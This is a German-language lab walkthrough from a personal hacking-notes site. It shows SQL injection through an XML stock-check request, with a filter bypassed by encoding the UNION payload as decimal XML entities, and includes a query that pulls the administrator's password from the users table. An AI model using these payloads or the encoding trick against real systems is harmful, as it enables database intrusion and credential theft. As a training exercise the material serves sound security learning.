> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md).

# SQL-Injection-Filterumgehung mit XML-Kodierung

### SQL-Injection mit Filterumgehung durch XML-Kodierung

Dieses Lab enthält eine SQL-Injection-Schwachstelle in der Bestandsprüfungsfunktion. Die Ergebnisse der Anfrage werden in der Anwendungsantwort zurückgegeben; daher können wir einen `UNION` Angriff verwenden, um Daten aus anderen Tabellen wiederherzustellen. / Die Datenbank enthält eine `users` Tabelle mit den Benutzernamen und Passwörtern registrierter Benutzer. Um das Lab zu lösen, führen Sie einen SQL-Injection-Angriff durch, um die Benutzer-IDs des Admin-Benutzers abzurufen, und melden Sie sich dann bei dessen Konto an.

Bereitgestellte Beispiele:

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId>2 union select 1</storeId>
</stockCheck>
```

{% endcode %}

<figure><img src="/files/9b49c105c8db7bcad8266b37b8c4867998d40206" alt=""><figcaption></figcaption></figure>

* Hackvertor-Erweiterung — Dezimal-Entitäten

<figure><img src="/files/4279f08cac29687d0e9443633196982c895dc57a" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
  <productId>2</productId>
  <storeId><@dec_entities>2 union select 1</@dec_entities></storeId>
</stockCheck>

<@dec_entities>
2 union select password from users where username='administrator'
</@dec_entities>
```

{% endcode %}

<figure><img src="/files/69a308d6ce72b5bf9b88489dbb9e73f448369244" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/sql-injection-filter-bypass-via-xml-encoding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
